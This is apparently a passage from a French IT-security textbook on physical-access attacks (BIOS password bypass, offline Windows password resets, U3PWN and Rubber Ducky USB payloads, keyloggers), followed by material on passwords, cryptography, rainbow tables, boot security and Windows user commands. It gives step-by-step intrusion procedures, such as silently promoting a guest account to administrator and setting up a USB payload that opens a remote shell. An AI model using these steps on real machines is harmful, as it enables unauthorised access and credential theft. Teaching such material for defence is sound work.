D’autres constructeurs comme Toshiba autorisaient l’accès au BIOS sans vérification de mot de passe
si un signal envoyé sur la sortie du port parallèle était récupéré sur l’entrée. D’autres encore
attendaient la pression d’une touche ou d’une séquence de touches comme maintenir enfoncée la
touche [Inser] au démarrage de la machine.

Restrict
ed
Certains BIOS affichent un code après plusieurs essais infructueux. Il suffit d’entrer ce code dans le
champ du formulaire Get Password de sites spécialisés (http://dogber1.blogspot.fr/2009/05/table-
of-reverse-engineered-bios.html, https://bios-pw.org) pour recevoir un autre code à entrer dans
l’invite de mot de passe du BIOS.

Génération de password BIOS

Il est également possible de réinitialiser le BIOS d’un ordinateur mais cela demande du temps et des
interventions physiques qui, si l’on n’est pas seul, peuvent sembler suspectes et attirer l’attention du
voisinage.

Pour remettre le mot de passe du BIOS à zéro, il faut accéder à la carte mère et donc ouvrir
l’ordinateur. Toutes les manipulations qui suivent doivent impérativement être effectuées sur
l’ordinateur éteint. Il faut ensuite rechercher le composant appelé CMOS qui mémorise la date,
l’heure et divers paramètres, dont le mot de passe. Selon la carte mère, deux cas sont possibles :

 Si celle-ci dispose d’un connecteur CMOS doté d’un cavalier, il faut déplacer ce
cavalier quelques instants sur les autres broches de ce même connecteur (repéré souvent
CMOS CLAIR - CLR - CLRPWD - PASSWD - MOT DE PASSE - PWD), puis le replacer dans sa
position initiale. Cette manipulation a pour effet de créer un léger court-circuit qui vide le
CMOS.

 Si la carte mère ne possède pas de cavalier de ce type, il faut ôter pendant quelques minutes,
voire plusieurs heures la pile plate de la carte mère.

Pile ou cavalier ?

Dans certains cas, l’ordinateur est équipé d’une mémoire EEPROM et le mot de passe est sauvegardé
dans celle-ci. Débrancher la pile n’effacera donc pas le mot de passe.

Aujourd’hui, les constructeurs d’ordinateurs préfèrent trouver des solutions obligeant l’utilisateur à
passer par leurs services aussi bien pour s’assurer que vous êtes le propriétaire de la machine que
pour vous facturer la prestation.

b. Accès à un ordinateur allumé dont le BIOS est protégé

Des logiciels comme CmosPwd, killCmos ou !BIOS permettent d’accéder au BIOS depuis un
ordinateur allumé.

Le logiciel CmosPwd

Mettre un mot de passe sur le BIOS pour l’amorçage est un bon moyen de protection, mais combien
d’entre nous le font vraiment ?

Lors de la DEFCON 2012, un proof of concept redoutable a été présenté par Jonathan Brossard
(http://2012.hackitoergosum.org/blog/wp-content/uploads/2012/04/HES-2012-
jbrossard_fdemetrescu-Hardware-Backdooring-is-pratical.pdf), de la société française Toucan-System
(organisatrice du No Such Conference).

Restrict
ed
Celui-ci, expert en sécurité IT, a mis au point un backdoor capable de se substituer au BIOS pour
l’infecter au démarrage sans laisser de traces sur le disque.

Développé à partir des BIOS open source Coreboot


(https://www.coreboot.org/Supported_Motherboards) et SeaBIOS
(https://www.coreboot.org/SeaBIOS), il est capable d’infecter 230 modèles de cartes mères à l’aide
d’un simple fichier texte.

Il infecte les firmwares de périphériques PCI tels que les cartes réseau et il reprogramme le
micrologiciel iPXE pour contourner les éventuels obstacles que pourraient constituer des
interrupteurs matériels (switchs).

Rakshasa initie une connexion Wi-Fi ou WiMAX de préférence afin de ne laisser aucune trace sur le
réseau local.

Si cela n’est pas possible, l’interface Ethernet est sollicitée pour rapatrier du code malveillant, par
HTTP(S) ou FTP via un bootkit.

Ce processus s’exécute à chaque mise en route, rien n’étant stocké sur le disque dur. Rakshasa
transfère tout en RAM pour une discrétion maximum. Il peut également se mettre à jour à distance.

c. Accès à un ordinateur éteint dont le BIOS n’est pas protégé

Pour tout un chacun, un ordinateur éteint ne semble pas poser de problème de sécurité dès l’instant
où, pour ouvrir une session sur le système, il faut disposer d’un identifiant et d’un mot de passe.
C’est sans compter sur les possibilités qu’offrent les systèmes tels que les liveCD et les clés USB
bootables pour ne citer qu’eux. Ces technologies s’adaptent à tout type de système d’exploitation et
sont souvent utilisées pour les opérations de maintenance technique comme la perte de mot de
passe.

Utilisation de Offline NT Password et Registry Editor

NT Password (http://pogostick.net/~pnh/ntpasswd), disponible sur liveCD et sur clé USB, permet de


réinitialiser le mot de passe des utilisateurs locaux sous différents systèmes Windows, allant de la
version Windows NT à Windows 10 (comptes locaux uniquement pour Windows 8 et 10) en passant
par 2000, XP, 2003, 2008, Vista et Windows 7. Il est possible de réinitialiser le mot de passe de
l’administrateur ou d’ajouter un utilisateur dans le groupe des administrateurs locaux, lui donnant
ainsi des droits d’administration. À partir de Windows XP, il est conseillé de ne pas mettre à blanc un
mot de passe administrateur si le chiffrement EFS (Encrypting File System) est activé, car celui-ci sert
à chiffrer les clés nécessaires à EFS. De plus, les politiques de sécurité par défaut des systèmes
récents refusent l’absence de mot de passe.

Pour l’utiliser, il faut booter sur le liveCD ou la clé USB bootable. Sur la majeure partie des
ordinateurs actuels, une pression sur [F12] au démarrage permet de choisir notre média de boot.

Boot sur le liveCD

Le premier écran demande sur quelle partition travailler, généralement le choix (1) qui est proposé
par défaut est le bon. Si un double boot existe, il faudra alors choisir la partition supportant le
système auquel on veut accéder.

Restrict
ed
Choix de la partition système

Il faut ensuite définir la localisation du registre. Là aussi, le choix par défaut est généralement le bon
(windows/system32/config).

Chemin du registre

L’écran suivant affiche un menu ; le choix par défaut propose d’effacer un mot de passe (1).

Choix de l’action à exécuter

Un menu intermédiaire propose alors d’éditer la base des utilisateurs. Via un dernier écran, il est
possible de mettre à blanc le mot de passe, de redéfinir le mot de passe de l’utilisateur, de
promouvoir un compte normal en administrateur et de déverrouiller un compte bloqué.

Reset du mot de passe administrateur

Pour quitter les menus, pressez successivement ! puis q et enfin y pour valider l’écriture dans le
registre.

Redémarrez alors la machine qui, au reboot, affichera dans certains cas un écran proposant de
vérifier l’intégrité de l’un des disques (celui qui vient d’être modifié) ; ignorez cette vérification.

Il n’y a plus qu’à redémarrer la machine.

Réactiver et inscrire dans le groupe Administrateurs un compte anodin (invité par exemple) permet à
une personne malintentionnée de rester discrète et de disposer d’un compte ayant des droits
d’administration.

d. Accès à un ordinateur allumé en mode session utilisateur courant

Les clés USB

Ce n’est pas une surprise, la clé USB (sous toutes ses formes) est un vecteur d’infection considérable.
Qu’elle soit utilisée pour exécuter une application cachée ou pour émuler un clavier HMI, il est
vivement recommandé de ne l’utiliser qu’en dernier recours.

U3PWN

L’outil U3PWN (http://www.nullsecurity.net/tools/backdoor.html) exploite les clés Sandisk qu’il peut


customiser avec des payloads (charge utile) Metasploit pour l’exécution d’un code malveillant
comme une installation de backdoor.

La démarche est relativement simple mais il vous faudra au préalable installer Metasploit, les U3-
tools et Python 2.7.

Ensuite, il suffit de lancer U3PWN pour faire apparaître un menu qui vous proposera dans un premier
temps de remplacer le launchpad de votre clé afin de pouvoir lancer le payload que vous allez
installer.

Les utilisateurs du framework Metasploit reconnaîtront sa façon de travailler.

Restrict
ed
Puis il vous proposera un choix d’attaques et d’outils d’offuscation à définir en fonction de la cible.

Il vous demandera ensuite de paramétrer l’IP et le port sur lequel votre serveur Metasploit écoutera
et vous proposera de lancer celui-ci sur votre machine si vous le désirez.

Il ne vous restera qu’à insérer votre clé U3 dans la machine cible pour que le payload s’exécute et
vous ouvre un shell distant.

La clé Ducky

« Au royaume du PC, le clavier est roi »

On pourrait ainsi définir l’utilisation de la clé Ducky (https://shop.hak5.org/products/usb-rubber-


ducky-deluxe), qui se fait passer pour un clavier auprès de l’ordinateur.

Restrict
ed
Celle-ci est élaborée à partir d’une carte microSD couplée à un processeur 32 bits de 60 MHz de chez
Atmel.

Le fonctionnement de cette clé est simple, il suffit d’écrire un "Ducky script" dont la syntaxe est très
facile à comprendre.

Les commandes à utiliser sont peu nombreuses :

STRIN Pour écrire votre code.


G

ENTER Pour exécuter celui-ci.

DELAY Suivi d’un chiffre traduit en ms introduira un délai entre chaque commande (1000
= 1 seconde).

REM Pour commenter vos lignes de code.

Les séquences de touches sont, elles aussi, interprétées ([Alt][F4], [Ctrl][Echap], [Windows] R, [Shift]
[Tab]...) par le clavier.

Tout ce qui peut être interprété par le clavier (commandes DOS, wscript, VB, PowerShell) peut être
tapé.

Le programme devra ensuite être compilé soit avec l’utilitaire duckencode.jar (version 2.6.4), soit sur
des sites où vous pourrez directement taper et compiler celui-ci. Vous devrez ensuite copier le
binaire inject.bin ainsi créé dans la microSD et insérer votre clé Ducky dans le PC cible pour que le
programme s’exécute automatiquement.

Écrivons le petit programme helloworld.txt :

Compilons celui-ci :

java -jar duckencode.jar -i helloworld.txt -o inject.bin -l fr

Le -i est suivi du fichier à compiler.

Le -o est suivi du fichier à générer.

Le -l indique le type de clavier à utiliser.

Restrict
ed
Il suffit ensuite d’insérer la clé Ducky dans le PC cible pour voir son programme s’exécuter.

Un mini-bouton de replay permet de relancer le programme présent sur la clé au besoin.

Il est possible également de créer votre propre clé Ducky, la seule contrainte étant qu’elle possède le
composant Phison 2251-03 (2303).

Le site Pentestingshop propose un tutoriel pour y


parvenir : https://www.pentestingshop.com/pentesting/make-your-own-usb-rubber-ducky-using-a-
normal-usb-stick/

Modifier une clé USB classique

Les keyloggers matériels et logiciels

Les keyloggers sont très faciles à installer dès que l’on a accès au matériel. Un keylogger matériel
(littéralement enregistreur de touches) est un dispositif chargé d’enregistrer les frappes de touches
du clavier à l’insu de l’utilisateur. Il s’agit donc d’un dispositif d’espionnage. Dans la mesure où les
keyloggers enregistrent toutes les frappes de clavier, ils peuvent servir à des personnes
malintentionnées pour récupérer les mots de passe des utilisateurs du poste de travail ! Quelques
secondes suffisent pour les installer et ils sont généralement très discrets.

Les keyloggers matériels

Les keyloggers matériels s’installent très facilement ; il suffit, pour certains, de les installer sur la prise
de branchement du clavier de type USB ou plus rarement de type PS/2.

Keylogger inséré entre le clavier et l’UC

Il existe également un troisième type, beaucoup plus discret mais qui demande quelques petits
talents de bricolage : le keylogger module, un keylogger matériel modulaire destiné à être incorporé
à l’intérieur du clavier USB ou PS/2. Des connexions universelles 2,5 mm garantissent une
compatibilité totale. Une fois installé, ce keylogger est absolument invisible pour les yeux et pour les
logiciels.

Le keylogger modulaire est invisible une fois installé

Il existe de nombreux sites sur Internet où l’on vous explique comment bricoler vous-même votre
keylogger.

Le mode opératoire des keyloggers est identique, qu’ils soient matériels ou logiciels, même s’il existe
une multitude de keyloggers différents. Les keyloggers se lancent directement au démarrage de la

Restrict
ed
machine hôte. Une fois le keylogger lancé, il enregistre au fur et à mesure tout ce qui est tapé sur le
clavier. Si la machine cible est pourvue d’une connexion internet, le keylogger enverra discrètement,
à une adresse e-mail ou à un serveur internet, un fichier généralement crypté contenant tous les
renseignements collectés. Ainsi, l’espion aura tout le temps nécessaire pour retracer votre activité et
sélectionner les éléments qui lui semblent utiles.

Rapport de log du keylogger

En fonction du keylogger sélectionné, différents écrans de configuration existent. Malgré tout, ceux-
ci se ressemblent : il est possible de choisir quelles touches intercepter, le chemin du fichier de log,
les clics de souris, les pop-up, les copier-coller. Des plages horaires intéressantes peuvent également
être définies.

Interface de configuration d’un keylogger

Les éléments importants comme la date, les applications ouvertes et le choix ou non du chiffrement
du fichier de trace peuvent être définis. Le mot de passe réclamé par le keylogger permet d’assurer
au pirate que lui seul pourra décrypter le fichier. Même si un utilisateur découvrait un fichier crypté,
il ne saurait reconnaître les éléments contenus à l’intérieur.

Restrict
ed
Paramétrage des actions

Selon le keylogger, il est possible de paramétrer l’option "auto-destruction" (Self-destruct). Il est


alors impossible de remonter au programme et à l’espion qui se cache derrière. Il suffit de
déterminer la plage en nombre de jours pendant laquelle le keylogger doit rester actif sur la machine
cible pour qu’automatiquement le logiciel se détruise une fois le délai passé.

Auto-destruction

Contre-mesures aux keyloggers

Les keyloggers s’exécutant au démarrage de la machine, tout ralentissement du système au


lancement doit sembler suspect. Il est vrai qu’avec les nouvelles générations d’ordinateurs il est de
moins en moins simple de noter ces ralentissements. En général, les fichiers de récupération, cryptés
ou non, sont stockés avec des noms très peu parlants dans C:\windows\temp. Il est intéressant de
tenter d’ouvrir les fichiers contenus dans ce répertoire.

Les keyloggers sont des outils particulièrement dangereux puisqu’ils permettent de récupérer les
mots de passe et les noms d’ouverture de session des utilisateurs. Ils peuvent aussi être un outil de
"surveillance" pour les entreprises (vérifier les activités réalisées par les salariés pendant les heures
de bureau...). L’utilisation d’un keylogger ne saurait être légale sans le consentement préalable du
salarié. Sur un poste non connecté à Internet, l’installation d’un tel outil implique le passage du
pirate sur la machine cible. Le meilleur moyen de prévention reste donc la vigilance, vérifier sa

Restrict
ed
connectique, ne pas quitter son poste sans avoir au minimum verrouillé son écran, ne pas diffuser
son mot de passe et s’assurer qu’il soit assez complexe.

Si un fichier suspect est détecté, la première mesure à prendre est de déconnecter la machine du
réseau. Des programmes comme ProcDump permettent ensuite d’afficher les tâches s’exécutant
(généralement, le Gestionnaire des tâches ne voit pas les keyloggers). Un programme bien connu des
initiés est le fameux HijackThis. C’est un outil capable de détecter, entre autres choses, les
programmes lancés au démarrage du système. Il permet de consulter tous les éléments et
éventuellement de les retirer de l’ordinateur. Le logiciel peut également enregistrer des paramètres
par défaut et ignorer certains éléments définis.

Les mots de passe


1. Introduction

Les mots de passe restent actuellement le moyen le plus répandu pour contrôler les accès à des
ressources restreintes. Ils sont utilisés depuis des siècles, notamment dans le domaine militaire. De
plus, ils interviennent à de nombreux niveaux : au démarrage de l’ordinateur, lors de l’accès au
courrier électronique...

En informatique, un mot de passe est une suite de caractères, pas forcément constituée uniquement
de chiffres et de lettres, avec ou sans signification.

2. Complexité

La qualité d’un mot de passe se définit par sa complexité à être deviné, trouvé, et par sa longueur. Il
faut bien comprendre qu’un mot de passe n’est pas une garantie de protection absolue. Il permet
seulement de ralentir, plus ou moins efficacement, un attaquant. En effet, l’essai de toutes les
combinaisons permettra finalement d’obtenir l’accès au système protégé.

Prenons un cas réel : la perte du code d’un antivol de vélo, constitué de trois rouleaux numérotés
chacun de 0 à 9. Chaque rouleau a donc 10 valeurs. Les trois rouleaux permettent alors 10*10*10
possibilités, soit 1000. Les essais successifs de ces 1000 combinaisons pouvant être effectués en un
temps raisonnable, la serrure peut être déverrouillée sans en connaître le code.

En informatique, c’est pareil… en pire :

 L’automatisation est possible.

 Un ordinateur ira vraiment beaucoup plus vite et un réseau d’ordinateurs encore plus !

Cependant, le mot de passe peut être beaucoup plus long et les caractères possibles sont plus
nombreux. La tâche n’est alors pas si facile car le nombre de possibilités devient rapidement
gigantesque.

Mais, par facilité, la plupart des gens choisissent un mot de passe ayant un sens dans leur langue, une
signification pour eux, comme le prénom du conjoint. Autrement dit, une suite de mots qui peuvent
être extraits d’un dictionnaire. Les choix sont alors très restreints et l’utilisation du dictionnaire
adéquat permet de retrouver rapidement le mot de passe.

À ce niveau, les recommandations sont les suivantes : un mot de passe doit être suffisamment long,
au moins 16 caractères, et constitué de caractères alphanumériques, chiffres, lettres, majuscules,
minuscules, et de symboles comme #, %, !...

Restrict
ed
Une pratique courante est de prendre un mot, par exemple "réseau", et d’y appliquer les règles
précédentes : "@R3S34u*". Le mot de passe obtenu est suffisamment complexe et néanmoins
mémorisable.

De nouvelles études semblent démontrer que le plus important est la longueur du mot de passe ainsi
que son absence de tout dictionnaire. Ainsi, le mieux est de combiner les lettres d’une phrase.

Voici un exemple avec le mot de passe suivant : Mpdsecdm16c.Evd$ !

La phrase suivante peut permettre de mémoriser ce mot de


passe : Ma phrase de sécurité est composée de minimum 16 caractères. Elle vaut des $ !.

Chiffrement et cryptage
1. Introduction

Il existe de nombreux sites expliquant les bases de la cryptographie,


comme : http://www.sebsauvage.net/comprendre/encryptage/index.html

La cryptographie permet de :

 transformer un message afin de le rendre inexploitable par une tierce partie en cas
d’interception ;

 garantir la confidentialité ;

 garantir l’intégrité d’un message ;

 authentifier l’émetteur ou le destinataire ;

 fournir un mécanisme de non-répudiation ;

 fournir un mécanisme anti-rejeu.

Un chiffrement est dit "sûr" si :

 le coût du craquage est plus élevé que le bénéfice qu’il procure ;

 le temps requis par le craquage dépasse la durée de pertinence de l’information clé.

L’algorithme de chiffrement est également connu et public. L’examen public en garantit la fiabilité, et
créer son propre algorithme est une mauvaise pratique (security by offuscation).

2. Le chiffrement symétrique

C’est un chiffrement rapide utilisé généralement pour les gros volumes de données.

Le chiffrement symétrique est réversible : une donnée chiffrée peut être déchiffrée. Comme la même
clé est utilisée pour chiffrer et pour déchiffrer les données, il faut garantir la sécurité de la clé
symétrique tant lors de son stockage que lors de l’échange avec des partenaires.

AES (Advanced Encryption Standard) et Camelia sont les deux algorithmes recommandés par l’ENISA
(European Network and Information Security Agency).

Les algorithmes DES, Blowfish, Kasumi, 3DES sont considérés comme obsolètes et ne doivent être
utilisés que pour garantir une rétrocompatibilité.

Restrict
ed
3. Le chiffrement asymétrique

C’est un chiffrement plus lent utilisé généralement pour de petits volumes de données comme des
clés symétriques et les signatures. Les données chiffrées par une clé publique peuvent uniquement
être déchiffrées avec la clé privée correspondante et vice versa. Les clés sont reliées
mathématiquement mais une clé privée ne peut être dérivée d’une clé publique.

L’algorithme RSA est un chiffrement à clé publique reposant sur le fait que plus les nombres sont
grands, plus le temps pour les décomposer s’accroît de manière exponentielle.

4. Les algorithmes One Way Digest

Ce sont des algorithmes de hachage qui transforment une chaîne de caractères de taille variable en
un hash (ou condensat) de taille fixe.

Une fonction de hachage cryptographique idéale dispose des caractéristiques suivantes :

 Le hash d’un message quelconque est facile à calculer.

 Il est impossible de modifier un message sans modifier son hash.

 Il est impossible de générer un message à partir d’un hash donné.

 Il est impossible de trouver deux messages différents donnant un même hash.

Ils sont utilisés pour assurer l’intégrité d’un message.

SHA-2, SHA-3 et Whirlpool sont les algorithmes recommandés par l’ENISA.

Les algorithmes RIPEMD, MD5 et SHA-1 sont considérés comme obsolètes et ne doivent être utilisés
que pour garantir une rétrocompatibilité.

5. Les tables arc-en-ciel (rainbow tables)

a. Principe

En cryptologie, une table arc-en-ciel est une structure de données qui permet de retrouver un mot
de passe à partir de son empreinte. Une table arc-en-ciel est constituée de paires de mots de passe.
Chaque ligne de cette table possède un mot de passe de départ et une empreinte d’arrivée. Le calcul
de la table se fait en faisant subir au mot de passe initial une très grande série de réductions et de
hachages successifs afin d’obtenir des éléments intermédiaires que sont les nouveaux mots de passe
et les empreintes correspondantes. La fonction de réduction transforme une empreinte en un
nouveau mot de passe. Cette fonction est cohérente, c’est-à-dire qu’elle retourne toujours le même
mot de passe quand on lui passe une même empreinte en paramètre.

Afin d’éviter des problèmes de collision, plusieurs fonctions de réduction sont utilisées. On répète ces
opérations des milliers de fois et on obtient une empreinte en bout de chaîne. Celle-ci sera stockée
avec le mot de passe d’origine, on ne garde pas le reste de la chaîne générée pour des raisons de
taille de fichier. Il est possible néanmoins de retrouver cette chaîne en la recalculant à partir du mot
de passe d’origine conservé. On passe à la deuxième ligne et on recommence l’opération jusqu’à
constituer une table dont les statistiques sont suffisantes pour garantir le succès de l’attaque.

Pour expliquer plus clairement ce principe :

Soit P le mot de passe d’origine, H la fonction de hachage appliquée et R1, R2... les fonctions de
réduction successives de la chaîne.

Restrict
ed
Une fonction de hachage (H) donne une empreinte et une fonction de réduction (R) donne un mot de
passe. La chaîne se crée de cette façon :

P==>H(P)==>R1(H(P))==>H(R1(H(P)))==>R2(H(R1(H(P))))==> H(R2(H(R1(H(P)))))...

L’illustration suivante montre un exemple de fonctionnement des tables rainbow :

Génération d’une table arc-en-ciel de deux lignes

Pour craquer l’empreinte 1962cae5 :

Une recherche dans la table permet de retrouver l’empreinte à la ligne 2. Elle est associée avec le
mot de passe tiot, qui, comme dit précédemment, n’est pas stocké dans la table.

Il faut donc regénérer la chaîne en prenant le mot de passe initial kore, et en le passant dans la
fonction de hachage. Le résultat 956ace45 est ensuite passé à la fonction de réduction qui a servi à
générer la table. Le résultat tite est ensuite passé dans la fonction de hachage, et son résultat est à
son tour réduit.

Les manipulations de hachage et de réductions consécutives permettent de récupérer


l’empreinte 1962cae5 et de trouver le mot de passe associé tiot.

Ceci est un cas idéal, car l’empreinte figure directement dans la table.

Pour craquer l’empreinte 4455c08b qui ne figure pas dans la table rainbow de l’exemple :

Il faut appliquer la fonction de réduction sur l’empreinte 4455c08b, ce qui donne le mot fasm. Ce
mot est ensuite passé dans la fonction de hachage. L’empreinte obtenue, 1958ef5d, figure dans la
table rainbow à la première ligne. Nous reprenons donc le mot de passe initial de la ligne qui
est code. Il faut maintenant procéder comme pour le premier cas pour reconstituer la chaîne. En
deux coups de hachage-réduction le mot de passe brix obtenu fournit l’empreinte 4455c08b une fois
haché. Le mot de passe brix correspond donc à l’empreinte recherchée 4455c08b.

b. Générer ses tables arc-en-ciel

Il est possible de se les procurer en les téléchargeant sur Internet : https://www.korben.info/120-go-


de-rainbow-tables.html

https://www.freerainbowtables.com

Restrict
ed
Il existe un utilitaire, rtgen sous Linux
et winrtgen (https://sourceforge.net/projects/rainbowtablesge/) sous Windows, permettant de
générer des rainbow tables. Winrtgen propose une interface graphique plus conviviale et permet de
générer les tables pour les algorithmes de chiffrement LM, FastLM, NTLM, CiscoPIX, MD2, MD4,
MD5, SHA-1, SHA-2 (256), SHA-2 (384), SHA-2 (512), MySQL (323), MySQL (SHA1) et RIPEMD160.

Pour utiliser winrtgen, il suffit de le télécharger et de lancer l’exécutable winrtgen.exe.

Générateur de tables rainbow : le logiciel winrtgen

Une interface d’accueil s’ouvre et il faut demander d’ajouter une table.

Création des tables arc-en-ciel pour un algorithme de chiffrement LM

Une deuxième fenêtre s’ouvre alors où il est possible de définir différents critères comme le type
d’algorithme de chiffrement, les longueurs minimum et maximum de mot de passe, l’index de la
table, le nombre de hashs de la chaîne, le nombre de chaînes dans un fichier, le nombre de tables et
le jeu de caractères (alphabétique, alphanumérique...) à utiliser pour générer la table.

Les propriétés de la table indiquent l’espace occupé par les tables ainsi que le taux de réussite estimé
du craquage du mot de passe. Le bouton Benchmark permet de visualiser le temps calculé pour
générer les tables.

6. Méthodes de détermination de mot de passe

Plusieurs méthodes peuvent être utilisées pour trouver le mot de passe correspondant à une
empreinte :

 Attaque par force brute : c’est la méthode la plus simple et la moins rapide qui consiste à
tester toutes les combinaisons sans consigne particulière. Un mode incrémental est souvent
disponible. Il permet de tester toutes les combinaisons de caractères dans une plage donnée
et dans un jeu de caractères défini.

 Attaque par dictionnaire ou wordlist : cette méthode permet de spécifier un ou


plusieurs fichiers texte contenant un mot ou une expression par ligne, ces mots étant
souvent utilisés comme mot de passe. Il en existe de très gros que l’on peut trouver sur
Internet, et ce dans toutes les langues et dans de nombreux secteurs d’activité, comme pour
darkc0de.lst ou rockyou.lst (https://wiki.skullsecurity.org/Passwords).

 Attaque par table arc-en-ciel (rainbow table) : il s’agit de l’utilisation de tables arc-en-ciel
pour rechercher une correspondance de hash. C’est une technique très rapide mais il faut
une table par salage, ce qui explique son utilisation quasi exclusive avec Windows.

Restrict
ed
Les processus
Un processus est une tâche qui s’exécute sur un processeur. Chaque processus est identifié par son
PID (Process ID), un nombre entier unique. Le Gestionnaire des tâches permet de voir l’état des
différents processus qui s’exécutent sur la machine et d’agir sur ceux-ci. Traditionnellement, sous
Windows, il est accessible en effectuant [Ctrl][Alt][Suppr]. Sous macOS, il faut passer par le Moniteur
d’activité ; ou, comme sur tout système Unix, on utilise la commande ps.

Les processus sous Windows

Au lancement, un processus est exécuté avec les droits de l’utilisateur courant, mais le processus
peut élever ses privilèges pour effectuer une tâche administrative, ou baisser ses privilèges pour ne
conserver que ceux dont il a besoin. Cette dernière opération est courante pour les démons sous
Unix. En effet, ils doivent démarrer en tant que root pour lire leur configuration, afin d’allouer les
ressources nécessaires. Mais fonctionner en tant que root serait inutilement dangereux, pour un
démon réseau par exemple, alors le processus diminue ses privilèges ensuite. En cas de
compromission du service, l’attaquant n’aura que des privilèges très limités, réduisant ainsi l’impact
sur le système.

Le Gestionnaire des tâches permet notamment de vérifier la quantité de mémoire et le pourcentage


d’utilisation du processeur par chacun des processus. Cela permet de déceler le responsable en cas
de comportement suspect de la machine comme des ralentissements anormaux.

Le processus coupable peut alors être terminé : sous Windows, en sélectionnant le processus dans la
liste, puis en cliquant sur le bouton Terminer le processus ; sous Unix, via la commande kill suivie du
PID. Si le processus refuse de s’arrêter, l’ajout de l’option -9 permet de le "tuer". Il sera alors
immédiatement stoppé.

Les race conditions

Un processus ne s’exécute pas de manière atomique, il peut être interrompu n’importe quand pour
donner du temps processeur à un autre processus, permettant ainsi le pseudo-parallélisme qui
donne l’illusion que tous les programmes fonctionnent en même temps.

Les situations de concurrence (race conditions), sont le résultat d’un accès simultané mal contrôlé à
la même ressource (mémoire, fichier ou périphérique) par plusieurs processus. En effet, si un
processus est interrompu alors qu’il est censé effectuer une série d’instructions qui ne doivent pas
l’être, cela peut mener à des situations d’incohérence, de blocage, voire de plantage du programme.

Si un programme critique, par exemple d’affectation de droit administrateur à un fichier, effectue


quelques vérifications (propriétaire, contenu...) avant de changer effectivement les droits, un
attaquant peut en profiter entre les deux étapes pour changer le contenu du fichier. Ainsi, un fichier
qui n’aurait pas pu passer les tests se verra quand même attribuer le droit administrateur.

Ces situations restent difficiles à provoquer, puisqu’il s’agit d’obtenir le basculement entre
l’application victime et l’application attaquante au bon moment. Ainsi, il faut procéder en quelque
sorte à un brute forcing de l’application cible.

Néanmoins, pour se prémunir au maximum de ces situations, le développeur doit suivre quelques
bonnes pratiques : effectuer une tâche avec le minimum de droits nécessaires, ouvrir les ressources
critiques en mode exclusif, bien gérer l’exclusion mutuelle avec des verrous, ouvrir des fichiers

Restrict
ed
temporaires avec des noms imprédictibles et utiliser les fonctions agissant sur un descripteur de
fichier plutôt que sur un nom de fichier.

Le démarrage
Le démarrage est une phase critique. Le système d’exploitation est vulnérable pour établir la
sécurité. En effet, rien ne garantit que ses fichiers n’ont pas été altérés ou qu’un programme
malveillant ne s’est pas exécuté avant que le contrôle ne lui ait été donné.

1. L’abus des modes de démarrage dégradés

Un système d’exploitation doit être capable de démarrer pour être réparé, ce qui pose quelques
problèmes de sécurité. Par exemple, sous GNU/Linux, il est possible de passer, via le chargeur de
démarrage, un programme alternatif à init, chargé de l’initialisation du système. Mais si un shell est
utilisé, on obtient alors un accès direct en mode administrateur.

La parade est donc de sécuriser le chargeur de démarrage, en y plaçant un mot de passe.

Sur macOS X, il est possible de démarrer en mode mono-utilisateur, qui lance alors un shell
administrateur directement, en maintenant les touches [Pomme] + S au démarrage. Pour se
protéger, il faut activer le mot de passe de protection du firmware du Mac avec l’outil dédié sur le
DVD d’installation de macOS.

2. Les attaques de preboot

Les nouveaux systèmes d’exploitation tirent de plus en plus parti de la signature des fichiers pour ne
pas charger des programmes altérés par une tierce partie. L’attaque de preboot consiste à charger un
programme avant n’importe lequel du système d’exploitation. Ainsi, peu importent les sécurités
ajoutées, notre programme a les pleins pouvoirs et a donc la possibilité de modifier à la volée les
données en mémoire, donc le comportement de n’importe quel programme (par exemple, pour
outrepasser la phase d’authentification).

Des outils comme Konboot ou vbootkit exploitent cette faiblesse majeure sous Microsoft Windows.
Actuellement, GNU/Linux et macOS semblent épargnés, puisque ces systèmes ne supposent pas, ou
plus, que la phase de preboot soit sécurisée.

Pour se protéger, la meilleure solution reste donc de chiffrer ses données personnelles. Il
existe EFS et BitLocker sous Microsoft Windows Vista et supérieur, à télécharger et installer.

Sous GNU/Linux, vous pouvez chiffrer votre dossier personnel dès l’installation sur certaines
distributions comme Ubuntu. Enfin, sur macOS X, dans le panneau Sécurité des préférences système,
vous pouvez activer FileVault pour faire de même.

3. L’hibernation

Tout comme le démarrage, l’hibernation, bien que pratique, peut se révéler un excellent moyen de
récupérer des mots de passe. En effet, pour atteindre ce mode, le système d’exploitation copie le
contenu de la mémoire vive dans un fichier sur le disque. Si ce fichier n’est pas sécurisé, des outils
permettent de l’exploiter hors ligne.

Truecrypt permet de chiffrer le fichier d’hibernation. Sous macOS X, il est possible d’activer la
sécurité du fichier d’hibernation avec la commande pmset -a hibernatemode 5.

4. Les sauvegardes

Restrict
ed
La mise en place d’une politique de sauvegarde permet de redémarrer les services le plus
rapidement possible.

D’une simple copie sur une clé USB à l’archivage quasi quotidien sur support optique, il s’agit à
nouveau ici de jauger et d’adapter la solution à la situation.

De nombreux outils libres vous assistent gratuitement dans cette étape indispensable.

Attention à la manière dont vous effectuez les sauvegardes et à leur stockage, il serait dommage
d’avoir sécurisé le système et qu’une attaque réussisse sur la sauvegarde.

Sur macOS X, l’outil Time Machine met en place très facilement une politique de sauvegardes
incrémentales à l’aide d’un disque externe amovible ou sur le réseau.

Restrict
ed
Windows
1. Gestion des utilisateurs

Un utilisateur est la représentation virtuelle d’une personne physique, enregistrée sur l’ordinateur, à
laquelle des informations sont associées comme ses nom et prénom, adresse et mot de passe. Pour
interagir avec le système, un utilisateur physique s’authentifie avec son utilisateur virtuel : il saisit
son identifiant et son mot de passe avant de pouvoir faire quoi que ce soit. Les actions sont alors
effectuées sous cette identité, et sont limitées par les permissions qui lui ont été attribuées.

Des utilisateurs spéciaux existent sur les systèmes, sans lien avec une personne physique. Il s’agit
d’utilisateurs uniquement virtuels permettant de cadrer le fonctionnement des programmes, afin
d’en limiter les privilèges, par sécurité : par exemple, ne pas autoriser l’accès à une ligne de
commandes, au réseau, à interagir avec l’interface graphique, etc.

Windows gère ses utilisateurs dans un fichier SAM (Security Account Manager). Traditionnellement,
les utilisateurs se gèrent de façon graphique dans la console de gestion du système accessible via la
commande compmgmt.msc.

Les utilisateurs sous Windows

Il est possible également de gérer les utilisateurs en ligne de commandes, via des commandes, des
scripts VBS ou VBA et via PowerShell.

 Création de l’utilisateur :

net user Laurent

 Ajout de l’utilisateur "Laurent" au groupe "marketing" sans le retirer du groupe originel :

net localgroup marketing Laurent /add

 Suppression de l’utilisateur "Laurent" ainsi que des fichiers contenus dans son répertoire
personnel :

net user Laurent /delete

Reportez-vous à la documentation de Windows pour plus d’informations.

